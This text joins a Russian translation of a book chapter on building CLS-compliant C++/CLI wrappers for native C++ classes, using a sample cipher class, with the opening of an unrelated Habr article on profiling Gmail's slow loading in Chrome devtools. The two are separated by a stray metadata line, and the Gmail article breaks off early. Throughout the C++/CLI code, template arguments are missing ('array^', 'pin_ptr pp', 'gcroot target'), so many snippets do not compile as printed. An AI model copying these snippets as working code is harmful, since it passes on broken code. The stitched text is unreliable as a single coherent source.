К сожалению, компилятор C++/CLI не показывает предупреждений, когда тип, помеченный как соответствующий CLS, нарушает правила CLS. Чтобы понять, помечать тип как соответствующий CLS или нет, надо знать следующие важные правила CLS:
* Имена типов и их членов должны быть различимы в языках с регистро-независимыми идентификаторами (правило 4).
* Глобальные статические (static) поля и методы не совместимы с CLS (правило 36).
* Пользовательские атрибуты должны содержать поля только следующих типов: System::Type, System::String, System::Char, System::Boolean, System::Int[16|32|64], System::Single и System::Double (правило 34).
* Объекты исключений должны иметь тип System::Exception или унаследованный от него тип (правило 40).
* Все аксессоры свойств должны быть либо виртуальными, либо не виртуальными одновременно, то есть не допускается смешение виртуальных и не виртуальных аксессоров (правило 26).
* Упакованные значения не соответствуют CLS (правило 3). Например, следующий метод не соответствует CLS: void f(int^ boxedInt);. [см. примечание ниже]
* Неуправляемые указатели не соответствуют CLS (правило 17). Под это правило также подпадают и ссылки в C++. Доступ к нативным классам, структурам и объединениям также осуществляется по указателю [подробнее можно прочитать в главе 8 книги]. Из этого следует, что данные нативные типы также не соответствуют CLS.
**Примечание переводчика - что такое int^** В отличие от C#, в C++/CLI допускается явное указание типа упакованного значения. Например:
```
System::Int32 value = 1;
System::Object ^boxedObject = value; // упакованное значение value; соответствует object boxedObject = value; в C#
System::Int32 ^boxedInt = value; // также упакованное значение value, но в текущей версии C# аналогичный код написать невозможно
```
Создание обёрток для классов C++
--------------------------------
Несмотря на некоторое сходство системы типов в C++ и CTS в .NET, создание управляемых типов-обёрток для классов C++ часто преподносит неприятные сюрпризы. Очевидно, что если используются возможности C++, у которых нет аналогов в управляемом коде, то создание обёртки может быть затруднительным. Например, если библиотека активно использует множественное наследования. Но даже если для всех использованных возможностей C++ существуют схожие конструкции в управляемом коде, отражение нативного API в API обёртки может быть не очевидным. Давайте рассмотрим возможные проблемы.
Объявить управляемый класс с полем типа NativeLib::SampleCipher нельзя [подробнее можно прочитать в главе 8 книги]. Так как поля управляемых классов могут быть только указателями на нативные типы, следует использовать поле типа NativeLib::SampleCipher\*. Экземпляр нативного класса должен быть создан в конструкторе обёртки и уничтожен в деструкторе.
```
namespace ManagedWrapper
{
public ref class SampleCipher sealed
{
NativeLib::SampleCipher* pWrappedObject;
public:
SampleCipher(/* пока что аргументы можно опустить */)
{
pWrappedObject = new NativeLib::SampleCipher(/* пока что аргументы можно опустить */);
}
~SampleCipher()
{
delete pWrappedObject;
}
/* ... */
};
}
```
Кроме деструктора, также стоит реализовать финализатор [подробнее можно прочитать в главе 11 книги].
### Отображение нативных типов на типы, соответствующие CLS
После того, как вы создали класс-обёртку, надо добавить ему методы, свойства и события, позволяющие клиентскому код в .NET обращаться к членам обёрнутого объекта. Для того, чтобы обёртку можно было использовать из любого языка .NET, все типы в сигнатурах членов класса-обёртки должны соответствовать CLS. Вместо беззнаковых целых чисел в сигнатурах нативного API как правило можно использовать знаковые числа такого же размера. Выбор эквивалентов для нативных указателей и ссылок далеко не всегда столь же прост. Иногда, можно использовать System::IntPtr вместо нативного указателя. В этом случае управляемый код может получить нативный указатель и передать его в качестве входного параметра для дальнейшего вызова. Это возможно, потому что на бинарном уровне System::IntPtr устроен так же, как нативный указатель. В других случаях, один или несколько параметров необходимо конвертировать вручную. Это может занять может занять много времени, но избежать этого нельзя. Рассмотрим различные варианты обёрток.
Если в нативную функцию передаётся ссылка C++ или указатель с семантикой передачи по ссылке, то в обёртке функции рекомендуется использовать отслеживаемую ссылку [см. примечание ниже]. Допустим, нативная функция имеет следующий вид:
```
void f(int& i);
Обёртка этой функции может выглядеть так:
void fWrapper(int% i)
{
int j = i;
f(j);
i = j;
}
```
**Примечание переводчика - что такое отслеживающая ссылка** Отслеживающая ссылка или tracking reference в C++/CLI аналогична ref и out параметрам в C#.
Для вызова нативной функции требуется передать нативную ссылку на int. Для этого аргумента необходимо осуществить маршаллинг вручную, так как преобразования типов из отслеживающей ссылки в нативную ссылку не существует. Поскольку существует стандартное преобразование типов из int в int&, используется локальная переменная типа int, которая служит в качестве буфера для аргумента, передаваемого по ссылке. Перед вызовом нативной функции буфер инициализируется значением, переданным в качестве параметра i. После возврата из нативной функции в обёртку значение параметра i обновляется в соответствии с изменениями буфера j.
Как видно из этого примера, помимо затрат на переход между управляемым и нативным кодом, обёртки зачастую вынуждены тратить процессорное время на маршаллинг типов. Как будет показано позже, для более сложных типов эти затраты могут быть значительно выше.
Следует отметить, что некоторые другие языки .NET, включая C#, различают аргументы, передаваемые по ссылке, и аргументы, используемые только для возврата значения. Значение аргумента, передаваемого по ссылке, должно быть инициализировано перед вызовом. Вызываемый метод может изменить его значение, но он не обязан этого делать. Если аргумент используется только для возврата, то он передаётся неинициализированным и метод обязан изменить или проинициализировать его значение.
По умолчанию считается, что отслеживающая ссылка означает передачу по ссылке. Если вы хотите, чтобы аргумент использовался только для возврата значения, следует применить атрибут OutAttribute из пространства имён System::Runtime::InteropServices, как показано в следующем примере:
```
void fWrapper([Out] int% i);
```
Типы аргументов нативных функций часто содержат модификатор const, как в примере ниже:
```
void f(int& i1, const int& i2);
```
Модификатор const транслируется в необязательный модификатор сигнатуры метода [подробнее можно прочитать в главе 8 книги]. Метод fWrapper всё равно можно вызвать из управляемого кода, даже если вызывающая сторона не воспринимает модификатор const:
```
void fWrapper(int% i1, const int% i2);
```
Для передачи указателя на массив в качестве параметра нативной функции недостаточно просто использовать отслеживающую ссылку. Чтобы разобрать этот случай, предположим, что у нативного класса SampleCipher есть конструктор, который принимает ключ шифрования:
```
namespace NativeLib
{
class SampleCipher : public CryptoAlgorithm
{
public:
SampleCipher(const unsigned char* pKey, int nKeySizeInBytes);
/* ... на данный момент реализация не важна ... */
};
}
```
В данном случае недостаточно просто отобразить const unsigned char\* в const unsigned char%, потому что ключ шифрования, передаваемый в конструктор нативного типа, содержит более одного байта. Лучшим использовать следующий подход:
```
namespace ManagedWrapper
{
public ref class SampleCipher
{
NativeLib::SampleCipher* pWrappedObject;
public:
SampleCipher(array^ key);
/\* ... \*/
};
}
```
В этом конструкторе оба аргумента нативного конструктора (pKey и nKeySizeInBytes) отображаются на единственный аргумент типа управляемый массив. Так можно сделать, потому что размер управляемого массива можно определить во время выполнения.
Как реализовывать этот конструктор, зависит от реализации нативного класса SampleCipher. Если конструктор создаёт внутреннюю копию ключа, переданного в качестве аргумента pKey, то можно передать закрепляющий указатель на ключ:
```
SampleCipher::SampleCipher(array^ key)
{
if (!key)
throw gcnew ArgumentNullException("key");
pin\_ptr pp = &key[0];
pWrappedObject = new NativeLib::SampleCipher(pp, key->Length);
}
```
Однако закрепляющий указатель нельзя использовать, если нативный класс SampleCipher реализован следующим образом:
```
namespace NativeLib
{
class SampleCipher : public CryptoAlgorithm
{
const unsigned char* pKey;
const int nKeySizeInBytes;
public:
SampleCipher(const unsigned char* pKey, int nKeySizeInBytes)
: pKey(pKey), nKeySizeInBytes(nKeySizeInBytes)
{}
/* ... на данный момент остальные части класса не важны ... */
};
}
```
Этот конструктор требует, чтобы клиент не освобождал память, содержащую ключ, и указатель на ключ оставался корректным пока экземпляр класса SampleCipher не будет уничтожен. Конструктор обёртки не выполняет ни одно из этих требований. Так как обёртка не содержит дескриптора управляемого массива, сборщик мусора может собрать массив раньше, чем экземпляр нативного класса будет уничтожен. Даже если сохранить дескриптор объекта, чтобы память не освобождалась, массив может быть перемещён во время сборки мусора. В этом случае нативный указатель больше не будет указывать на управляемый массив. Чтобы память, содержащая ключ, не освобождалась и не перемещалась при сборке мусора, ключ надо скопировать в нативную кучу.
Для этого надо внести изменения как в конструктор, так и в деструктор управляемой обёртки. Следующий код показывает возможную реализацию конструктора и деструктора:
```
public ref class SampleCipher
{
unsigned char* pKey;
NativeLib::SampleCipher* pWrappedObject;
public:
SampleCipher(array^ key)
: pKey(0),
pWrappedObject(0)
{
if (!key)
throw gcnew ArgumentNullException("key");
pKey = new unsigned char[key->Length];
if (!pKey)
throw gcnew OutOfMemoryException("Allocation on C++ free store failed");
try
{
Marshal::Copy(key, 0, IntPtr(pKey), key->Length);
pWrappedObject = new NativeLib::SampleCipher(pKey, key->Length);
if (!pWrappedObject)
throw gcnew OutOfMemoryException("Allocation on C++ free store failed");
}
catch (Object^)
{
delete[] pKey;
throw;
}
}
~SampleCipher()
{
try
{
delete pWrappedObject;
}
finally
{
// удалить pKey, даже если деструктор pWrappedObject вызвал исключение
delete[] pKey;
}
}
/\* остальная часть класса будет разобрана далее \*/
};
```
**Примечание переводчика - что такое дескриптор** Дескриптор — handle — это ссылка на объект в управляемой куче. В терминах C# это просто ссылка на объект.
Если не брать в расчёт некоторые эзотерические проблемы [обсуждаются в главе 11 книги], приведённый здесь код обеспечивает корректное выделение и освобождение ресурсов даже при возникновении исключений. Если при создании экземпляра ManagedWrapper::SampleCipher возникнет ошибка, все выделенные ресурсы будут освобождены. Деструктор реализован таким образом, чтобы освободить нативный массив, содержащий ключ, даже если деструктор оборачиваемого объекта выбросит исключение.
Этот код также показывает характерные накладные расходы управляемых обёрток. Помимо накладных расходов на вызов оборачиваемых нативных функций из управляемого кода, зачастую добавляются накладные расходы на отображение между нативными и управляемыми типами.
### Отображение исключений C++ на управляемые исключения
Помимо управления ресурсами, устойчивого к возникновению исключений, управляемая обёртка также должна позаботиться об отображении исключений C++, выбрасываемых нативной библиотекой, в управляемые исключения. Для примера предположим, что алгоритм SampleCipher поддерживает только 128 и 256-битные ключи. Конструктор NativeLib::SampleCipher мог бы выбрасывать исключение NativeLib::CipherException, если в него передан ключ неправильного размера. Исключения C++ отображаются в исключения типа System::Runtime::InteropServices::SEHException, что не очень удобно для потребителя библиотеки [обсуждается в главе 9 книги]. Следовательно, необходимо перехватывать нативные исключения и перебрасывать управляемые исключения, содержащие эквивалентные данные.
Для того, чтобы отобразить исключения конструктора, можно использовать блок try на уровне функции, как показано в следующем примере. Это позволит перехватить исключения, выброшенные как при инициализации членов класса, так и в теле конструктора.
```
SampleCipher::SampleCipher(array^ key)
try
: pKey(0),
pWrappedObject(0)
{
..// реализация не отличается от указанной ранее
}
catch(NativeLib::CipherException& ex)
{
throw gcnew CipherException(gcnew String(ex.what()));
}
```
Здесь используется блок try на уровне функции, хотя инициализация членов класса в этом примере и не должна приводить к выбросу исключений. Таким образом исключения будут перехвачены, даже если вы добавите новые члены класса или добавите наследование SampleCipher от другого класса.
### Отображение управляемых массивов на нативные типы
Теперь, разобравшись с реализацией конструктора, разберём методы Encrypt и Decrypt. Ранее указание сигнатур этих методов было отложено, теперь приведём их полностью:
```
class CryptoAlgorithm
{
public:
virtual void Encrypt( const unsigned char* pData, int nDataLength,
unsigned char* pBuffer, int nBufferLength,
int& nNumEncryptedBytes) = 0;
virtual void Decrypt( const unsigned char* pData, int nDataLength,
unsigned char* pBuffer, int nBufferLength,
int& nNumEncryptedBytes) = 0;
};
```
Данные, которые должны быть зашифрованы или расшифрованы, передаются при помощи параметров pData и nDataLength. Перед вызовом Encrypt или Decrypt следует выделить буфер памяти. Значение параметра pBuffer должно быть указателем на этот буфер, а его размер должен быть передан в качестве значения параметра nBufferLength. Размер данных на выходе возвращается при помощи параметра nNumEncryptedBytes.
Для отображения Encrypt и Decrypt можно добавить следующий метод в ManagedWrapper::SampleCipher:
```
namespace ManagedWrapper
{
public ref class SampleCipher sealed
{
// ...
void Encrypt( array^ data, array^ buffer, int% nNumOutBytes)
{
if (!data)
throw gcnew ArgumentException("data");
if (!buffer)
throw gcnew ArgumentException("buffer");
pin\_ptr ppData = &data[0];
pin\_ptr ppBuffer = &buffer[0];
int temp = nNumOutBytes;
pWrappedObject->Encrypt(ppData, data->Length, ppBuffer, buffer->Length, temp);
nNumOutBytes = temp;
}
}
```
В этой реализации предполагается, что NativeLib::SampleCipher::Encrypt — это неблокирующая операция и что она завершает выполнение за разумный промежуток времени. Если вы не можете делать таких предположений, вам следует избегать закрепления управляемых объектов на время выполнения нативного метода Encrypt. Для этого можно скопировать управляемый массив в нативную память перед передачей массива в Encrypt и затем скопировав зашифрованные данные из нативной памяти в управляемый массив buffer. С одной стороны, это влечёт за собой дополнительные расходы на маршаллинг типов, с другой — предотвращает долговременное закрепление.
### Отображение других непримитивных типов
Ранее все типы параметров отображаемых функций были либо примитивными типами, либо указателями или ссылками на примитивные типы. Если вам надо отображать функции, принимающие в качестве параметров классы C++ либо указатели или ссылки на классы C++, то зачастую требуются дополнительные действия. В зависимости от конкретной ситуации, решения могут быть разными. Чтобы показать различные варианты решений на конкретном примере, рассмотрим другой нативный класс, для которого требуется обёртка:
```
class EncryptingSender
{
CryptoAlgorithm& cryptoAlg;
public:
EncryptingSender(CryptoAlgorithm& cryptoAlg)
: cryptoAlg(cryptoAlg)
{}
void SendData(const unsigned char* pData, int nDataLength)
{
unsigned char* pEncryptedData = new unsigned char[nDataLength];
int nEncryptedDataLength = 0;
// вызов виртуального метода
cryptoAlg.Encrypt(pData, nDataLength,
pEncryptedData, nDataLength, nEncryptedDataLength);
SendEncryptedData(pEncryptedData, nEncryptedDataLength);
}
private:
void SendEncryptedData(const unsigned char* pEncryptedData, int nDataLength)
{ /* отправка данных не касается проблем, обсуждаемых здесь */ }
};
```
Как можно догадаться о имени этого класса, его назначение — отправлять зашифрованные данные. В рамках дискуссии неважно куда отправляются данные и какой протокол при этом используется. Для шифрования можно использовать классы, наследованные от CryptoAlgorithm (например, SampleCipher). Алгоритм шифрования можно указать при помощи параметра конструктора типа CryptoAlgorithm&. Экземпляр класса CryptoAlgorithm, переданный в конструктор, используется в методе SendData при вызове виртуального метода Encrypt. Следующий пример показывает, как можно использовать EncryptingSender в нативном коде:
```
using namespace NativeLib;
unsigned char key[] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15};
SampleCipher sc(key, 16);
EncryptingSender sender(sc);
unsigned char pData[] = { '1', '2', '3' };
sender.SendData(pData, 3);
```
Чтобы создать обёртку над NativeLib::EncryptingSender, вы можете определить управляемый класс ManagedWrapper::EncryptingSender. Как и обёртка класса SampleCipher, он должен хранить указатель на обёрнутый объект в поле. Чтобы создать экземпляра оборачиваемого класса EncryptingSender требуется экземпляр класса NativeLib::CryptoAlgorithm. Допустим, единственный алгоритм шифрования, который вы хотите поддерживать, это SampleCipher. Тогда можно определить конструктор, принимающий значение типа array^ в качестве ключа шифрования. Также, как и конструктор класса ManagedWrapper::SampleCipher, конструктор EncryptingSender может использовать этот массив для создания экземпляра нативного класса NativeLib::SampleCipher. Затем, ссылку на этот объект можно передать в конструктор NativeLib::EncryptingSender:
```
public ref class EncryptingSender
{
NativeLib::SampleCipher* pSampleCipher;
NativeLib::EncryptingSender* pEncryptingSender;
public:
EncryptingSender(array^ key)
try
: pSampleCipher(0),
pEncryptingSender(0)
{
if (!key)
throw gcnew ArgumentNullException("key");
pin\_ptr ppKey = &key[0];
pSampleCipher = new NativeLib::SampleCipher(ppKey, key->Length);
if (!pSampleCipher)
throw gcnew OutOfMemoryException("Allocation on C++ free store failed");
try
{
pEncryptingSender = new NativeLib::EncryptingSender(\*pSampleCipher);
if (!pEncryptingSender)
throw gcnew OutOfMemoryException("Allocation on C++ free store failed");
}
catch (Object^)
{
delete pSampleCipher;
throw;
}
}
catch(NativeLib::CipherException& ex)
{
throw gcnew CipherException(gcnew String(ex.what()));
}
// .. для простоты понимания надёжное освобождение ресурсов и другие методы опущены
};
```
При таком подходе вам не придётся отображать параметр типа CryptoAlgorithm& на управляемый тип. Однако иногда этот подход слишком ограничен. Например, вы хотите дать возможность передать существующий экземпляр SampleCipher, а не создавать новый. Для этого у конструктора ManagedWrapper::EncryptingSender должен быть параметр типа SampleCipher^. Чтобы создать экземпляр класса NativeLib::EncryptingSender внутри конструктора, надо получить объект класса NativeLib::SampleCipher, который обёрнут в ManagedWrapper::SampleCipher. Для получения обёрнутого объекта требуется добавить новый метод:
```
public ref class SampleCipher sealed
{
unsigned char* pKey;
NativeLib::SampleCipher* pWrappedObject;
internal:
[CLSCompliant(false)]
NativeLib::SampleCipher& GetWrappedObject()
{
return *pWrappedObject;
}
... в остальном SampleCipher идентичен предыдущим примерам ...
};
```
Следующий код показывать возможную реализацию такого конструктора:
```
public ref class EncryptingSender
{
NativeLib::EncryptingSender* pEncryptingSender;
public:
EncryptingSender(SampleCipher^ cipher)
{
if (!cipher)
throw gcnew ArgumentException("cipher");
pEncryptingSender =
new NativeLib::EncryptingSender(cipher->GetWrappedObject());
if (!pEncryptingSender)
throw gcnew OutOfMemoryException("Allocation on C++ free store failed");
}
// ... в остальном код EncryptingSender идентичен предыдущим примерам ...
};
```
Пока что эта реализация позволяет передавать только экземпляры класса ManagedWrapper::SampleCipher. Чтобы использовать EncryptingSender с любой реализацией обёртки над CryptoAlgorithm, придётся изменить дизайн таким образом, чтобы реализация GetWrappedObject различными обёртками была полиморфной. Этого можно добиться при помощи управляемого интерфейса:
```
public interface class INativeCryptoAlgorithm
{
[CLSCompliant(false)]
NativeLib::CryptoAlgorithm& GetWrappedObject();
};
```
Для реализации этого интерфейса надо изменить обёртку SampleCipher следующим образом:
```
public ref class SampleCipher sealed : INativeCryptoAlgorithm
{
// ...
internal:
[CLSCompliant(false)]
virtual NativeLib::CryptoAlgorithm& GetWrappedObject()
= INativeCryptoAlgorithm::GetWrappedObject
{
return *pWrappedObject;
}
};
```
Этот метод реализован как internal, потому что код, использующий библиотеку-обёртку, не должен напрямую вызывать методы обёрнутого объекта. Если вы хотите предоставить клиенту доступ непосредственно к обёрнутому объекту, вам следует передавать указатель на него при помощи System::IntPtr, потому что тип System::IntPtr соответствует CLS.
Теперь конструктор класса ManagedWrapper::EncryptingSender принимает параметр типа INativeCryptoAlgorithm^. Чтобы получить объект класса NativeLib::CryptoAlgorithm, необходимый для создания оборачиваемого экземпляра EncryptingSender, можно вызвать метод GetWrappedObject у параметра типа INativeCryptoAlgorithm^:
```
EncryptingSender::EncryptingSender(INativeCryptoAlgorithm^ cipher)
{
if (!cipher)
throw gcnew ArgumentException("cipher");
pEncryptingSender =
new NativeLib::EncryptingSender(cipher->GetWrappedObject());
if (!pEncryptingSender)
throw gcnew OutOfMemoryException("Allocation on C++ free store failed");
}
```
### Поддержка наследования и виртуальных методов
Если вы сделаете обёртки для других алгоритмов шифрования и добавите в них поддержку INativeCryptoAlgorithm, то их тоже можно будет передать в конструктор ManagedWrapper::EncryptingSender. Однако реализовать свой алгоритм шифрования в управляемом коде и передать его в EncryptingSender пока что нельзя. Для этого потребуется сделать доработки, потому что в управляемом классе нельзя просто переопределить виртуальный метод нативного класса. Для этого придётся снова изменить реализацию управляемых классов-обёрток.
На этот раз потребуется абстрактный управляемый класс, который обернёт NativeLib::CryptoAlgorithm. Помимо метода GetWrappedObject, этот класс-обёртка должен предоставлять два абстрактных метода:
```
public ref class CryptoAlgorithm abstract
{
public protected:
virtual void Encrypt( array^ data,
array^ buffer, int% nNumOutBytes) abstract;
virtual void Decrypt( array^ data,
array^ buffer, int% nNumOutBytes) abstract;
// оставшаяся часть этого класса будет рассмотрена позднее
};
```
Чтобы реализовать свой криптографический алгоритм, надо создать управляемый класс-наследник ManagedWrapper::CryptoAlgorithm и переопределить виртуальные методы Encrypt и Decrypt. Однако этих абстрактных методов недостаточно, чтобы переопределить виртуальные методы NativeLib::CryptoAlgorithm Encrypt и Decrypt. Виртуальные методы нативного класса, в нашем случае, NativeLib::CryptoAlgorithm, можно переопределить только в нативном классе-наследнике. Следовательно, надо создать нативный класс, который наследуется от NativeLib::CryptoAlgorithm и переопределяет требуемые виртуальные методы:
```
class CryptoAlgorithmProxy : public NativeLib::CryptoAlgorithm
{
public:
virtual void Encrypt( const unsigned char* pData, int nNumInBytes,
unsigned char* pBuffer, int nBufferLen,
int& nNumOutBytes);
virtual void Decrypt( const unsigned char* pData, int nNumInBytes,
unsigned char* pBuffer, int nBufferLen,
int& nNumOutBytes);
// оставшаяся часть этого класса будет рассмотрена позднее
};
```
Этот класс назван CryptoAlgorithmProxy, потому что он служит посредником для управляемого класса, реализующего Encrypt и Decrypt. Его реализация виртуальных методов должна вызывать эквивалентные виртуальные методы класса ManagedWrapper::CryptoAlgorithm. Для этого CryptoAlgorithmProxy нужен дескриптор экземпляра класса ManagedWrapper::CryptoAlgorithm. Он может быть передан в качестве параметра конструктора. Чтобы сохранить дескриптор, нужен шаблон gcroot. (Так как CryptoAlgorithmProxy — это нативный класс, он не может содержать полей типа дескриптор.)
```
class CryptoAlgorithmProxy : public NativeLib::CryptoAlgorithm
{
gcroot target;
public:
CryptoAlgorithmProxy(CryptoAlgorithm^ target)
: target(target)
{}
// Encrypt и Decrypt будут рассмотрены позднее
};
```
Вместо того, чтобы служить обёрткой нативного абстрактного класса CryptoAlgorithm, управляемый класс служит обёрткой для конкретного наследника CryptoAlgorithmProxy. Следующий код показывает, как это сделать:
```
public ref class CryptoAlgorithm abstract
: INativeCryptoAlgorithm
{
CryptoAlgorithmProxy* pWrappedObject;
public:
CryptoAlgorithm()
{
pWrappedObject = new CryptoAlgorithmProxy(this);
if (!pWrappedObject)
throw gcnew OutOfMemoryException("Allocation on C++ free store failed");
}
~CryptoAlgorithm()
{
delete pWrappedObject;
}
internal:
[CLSCompliant(false)]
virtual NativeLib::CryptoAlgorithm& GetWrappedObject()
= INativeCryptoAlgorithm::GetWrappedObject
{
return *pWrappedObject;
}
public protected:
virtual void Encrypt( array^ data,
array^ buffer, int% nNumEncryptedBytes) abstract;
virtual void Decrypt( array^ data,
array^ buffer, int% nNumEncryptedBytes) abstract;
};
```
Как говорилось ранее, класс CryptoAlgorithmProxy должен реализовать виртуальные методы таким образом, чтобы управление передавалось эквивалентным методам ManagedWrapper::CryptoAlgorithm. Следующий код показывает, как CryptoAlgorithmProxy::Encrypt вызывает ManagedWrapper::CryptoAlgorithm::Encrypt:
```
void CryptoAlgorithmProxy::Encrypt( const unsigned char* pData, int nDataLength,
unsigned char* pBuffer, int nBufferLength,
int& nNumOutBytes)
{
array^ data = gcnew array(nDataLength);
Marshal::Copy(IntPtr(const\_cast(pData)), data, 0, nDataLength);
array^ buffer = gcnew array(nBufferLength);
target->Encrypt(data, buffer, nNumOutBytes);
Marshal::Copy(buffer, 0, IntPtr(pBuffer), nBufferLength);
}
```
Общие рекомендации
------------------
Кроме конкретных шагов, указанных ранее, следует учитывать также общие рекомендации по созданию управляемых обёрток.
### Упростите обёртки с самого начала
Как видно из предыдущих разделов, создание обёрток для иерархий классов может быть очень трудозатратным. Иногда нужно создавать обёртки классов C++ таким образом, чтобы управляемые классы могли переопределять их виртуальные методы, но зачастую такая реализация не несёт практического смысла. Определение необходимой функциональности — вот ключ к упрощению задачи.
Не нужно заново изобретать колесо. Прежде чем создавать обёртку для некоторой библиотеки, убедитесь, что FCL не содержит готового класса с требуемыми методами. FCL может предложить больше, чем кажется на первый взгляд. Например, BCL уже содержит довольно много алгоритмов шифрования. Они находятся в пространстве имён System::Security::Cryptography. Если нужным вам алгоритм шифрования уже есть в FCL, вам не нужно заново создавать для него обёртку. Если FCL не содержит реализации алгоритма, для которого вы хотите создать обёртку, но приложение не завязано на алгоритм, реализованный в нативном API, то обычно предпочтительней использовать один из стандартных алгоритмов из FCL.
### Учитывайте философию .NET
Ваши типы должны не только соблюдать правила CLS, но и, по возможности, вписываться в философию .NET. [Различные варианты определения типов и их членов рассмотрены в главе 5 книги.] Например:
* отображайте классы C++ и виртуальные методы на компоненты и события .NET, когда такое отображение подходит по смыслу;
* используйте свойства вместо методов Get и Set;
* используйте коллекции FCL для выражения связей один-ко-многим;
* используйте управляемые перечисления enum для отображения взаимосвязанных #define.
Помимо возможностей системы типов, также учитывайте возможности FCL. Учитывая, что FCL реализует алгоритмы, связанные с безопасностью, рассмотрите возможность взаимозаменяемости ваших алгоритмов и алгоритмов FCL. Для этого вам придётся принять дизайн, принятый в FCL, и наследовать ваши классы от абстрактного базового класса SymmetricAlgorithm и реализовывать интерфейс ICryptoTransform из пространства имён System::Security::Cryptography.
Адаптация к дизайну FCL как правило упрощает библиотеку обёрток с точки зрения потребителя библиотеки. Трудоёмкость этого подхода зависит от дизайна нативного API и дизайна типов FCL, поддержку которых вы хотите реализовать. Приемлемы ли эти дополнительные трудозатраты определяется отдельно в каждом конкретном случае. В этом примере можно предположить, что алгоритм безопасности используется только в одном конкретном случае и, следовательно, не стоит того, чтобы интегрировать его с FCL.
Если библиотека, для которой вы создаёте отображение, управляет табличными данными, следует рассмотреть классы System::Data::DataTable и System::Data::DataSet из части FCL, именуемой ADO.NET. Хотя рассмотрение этих типов и выходит за рамки данного текста, они заслуживают упоминания благодаря своей применимости в создании обёрток.
Заворачивание табличных данных в DataTable или DataSet может упростить жизнь потребителям библиотеки, потому что эти контейнеры данных широко используются в программировании для .NET. Экземпляры обоих типов можно сериализовать в XML или в бинарный формат, их можно передавать через .NET Remoting и даже веб-сервисы, они часто используются в качестве источников данных в приложениях на Windows Forms, Windows Presentation Foundation (WPF) и в приложениях ADO.NET. Оба типа поддерживают отслеживание изменений через так называемые diffgram, представления, подобные представлениям в базах данных, и фильтры.
Заключение
----------
Для создания хороших обёрток над нативными библиотеками нужно обладать определёнными качествами и возможностями. Прежде всего, требуются хорошие способности в разработке архитектуры. Отображение нативной библиотеки один-к-одному редко является хорошим решением. Отбросив возможности, которые не нужны потребителям библиотеки, можно колоссально упростить задачу. Создание фасада для оставшихся возможностей библиотеки требует знания CLS, возможностей FCL и часто используемых в .NET подходов.
Как было показано, существует много вариантов создания обёрток для классов C++. В зависимости от возможностей, которые ваша обёртка должна предоставлять клиенту в управляемом коде, реализация может быть сложной или относительно простой. Если вам надо просто создать экземпляр и вызвать нативный класс из .NET, тогда ваша основная задача — это отобразить методы нативного класса на методы управляемого класса, соблюдая CLS. Если вам надо также учитывать иерархии нативных типов, то обёртка может стать значительно сложнее.
Создание обёртки над нативной библиотекой также предполагает обёртывание нативных ресурсов (например, неуправляемой памяти, необходимой для создания оборачиваемых объектов). Надёжное освобождение ресурсов — это тема для отдельной статьи [рассматривается в главе 11 книги].
**Примечание переводчика - краткий обзор главы 11**В главе 11 рассматривается реализация паттерна IDisposable, финализация, асинхронные исключения (ThreadAbortException, StackOverflowException и т.д.) и использование SafeHandle. Хотя эта тема и представляет интерес при работе с неуправляемыми ресурсами, она также рассматривается во многих других источниках, например, у Рихтера. | https://habr.com/ru/post/318224/ | null | ru | null |
# Заглядываем под капот нового Gmail
Полгода назад Google [представила](https://www.theverge.com/2018/4/25/17277360/gmail-redesign-live-features-google-update) обновленную версию своего почтового сервиса. Несмотря на то что многие пользователи были недовольны редизайном, в том числе и [на Хабре](https://habr.com/post/429018/), это теперь основной интерфейс для пользователей.
Среди прочих недостатков, люди жалуются на ухудшение производительности новой версии, особенно на слабых компьютерах. Давайте же посмотрим, почему так происходит и что может быть такого тяжелого в почтовом интерфейсе. В этой статье мы будем пользоваться инструментами разработчика в Google Chrome, так что эта статья будет еще и напоминанием о том, какие возможности там имеются.
Исходные данные
---------------
Для начала, нужно понять, с чем мы имеем дело. В Google Chrome Devtools встроен инструмент [Lighthouse](https://developers.google.com/web/tools/lighthouse/), который строит простой и понятный отчет о производительности вашего сайта. В нем Gmail получает двойку за производительность (из максимальных 100 баллов!)
Если честно, это не тот результат, который ожидаешь от продукта Google. Тем не менее, посмотрим на эту ситуацию детальнее. Отключим кеш, и загрузим интерфейс Gmail с включенными devtools. На вкладке Network будут показаны все запросы, сделанные для загрузки этой страницы. Получилось 6.9 Мб. Это внушительный размер, учитывая, что даже Youtube, еще один недавно обновленный сервис, загружает всего 2 Мб ресурсов.
> Здесь еще стоить заметить, что современные сервисы, и Gmail в их числе, используют [Service Workers](https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API) для улучшенного кеширования ресурсов. Поэтому для точных замеров холодного старта одного [отключения кеша](https://stackoverflow.com/a/7000899/1297743) недостаточно, нужно еще [сбросить Service Workers](https://github.com/GoogleChromeLabs/sw-precache/issues/340#issuecomment-349947842), которые тоже держат ресурсы. Только после этого цифра загрузки с нуля будет настоящей.
Теперь попробуем посмотреть на загрузку страницы в замедленной съемке. В [документации Google Chrome](https://developers.google.com/web/tools/chrome-devtools/network-performance/), объясняется, как это сделать. Получим набор скриншотов с разных этапов загрузки страницы:
Здесь видно, что более-менее загруженной страница оказывается к 9й секунде.
С повторной загрузкой при использовании кеша ситуация получше. Страница делает всего 250 Кб запросов, однако это не делает ее быстрее, мы все так же видим заставку в течение почти 10 секунд. Дело явно не в количестве запросов, что-то другое делает страницу медленнее.
Блокируем ресурсы
-----------------
Теперь посмотрим на список загружаемых скриптов:
Возможно, некоторые из них не так уж нужны для нормальной работы интерфейса? Попробуем поотключать их по очереди и тестировать работу страницы без них. Это легко делается при помощи [встроенной в devtools функциональности](https://developers.google.com/web/updates/2017/04/devtools-release-notes#block-requests).
Опытным путем выяснилось, что запросы на `https://mail.google.com/_/scs/*` являются критичными для работы интерфейса, а вот следующие запросы можно заблокировать:
* `www.gstatic.com/og/*` — [Google API Сlient Library](https://developers.google.com/api-client-library/), билиотека для запросов к сервисам Google
* `ssl.gstatic.com/inputtools/*` – [Google Input Tools](https://www.google.com/inputtools/) – виджет экранной клавиатуры
* `hangouts.google.com` — отвечает за виджет handgouts
> Помимо этих запросов, установленный у меня AdBlock уже блокировал запросы на `https://play.google.com/log`, их мы в расчет не берем, так как они не делались и до начала экспериментов с блокировками.
Добавляем эти скрипты в черный список и видим, что страница начала загружаться за 4 секунды, но по-прежнему можно читать и писать письма.
Смотрим в профайлер
-------------------
Итак, мы минимизировали загрузку ресурсов как могли, но страница все равно грузится долго. Надо посмотреть, что же происходит в течение этих 4 секунд. Тут нам на помощь придет [встроенный в Chrome профайлер](https://developers.google.com/web/tools/chrome-devtools/evaluate-performance/reference). Он показывает нам такую картинку:
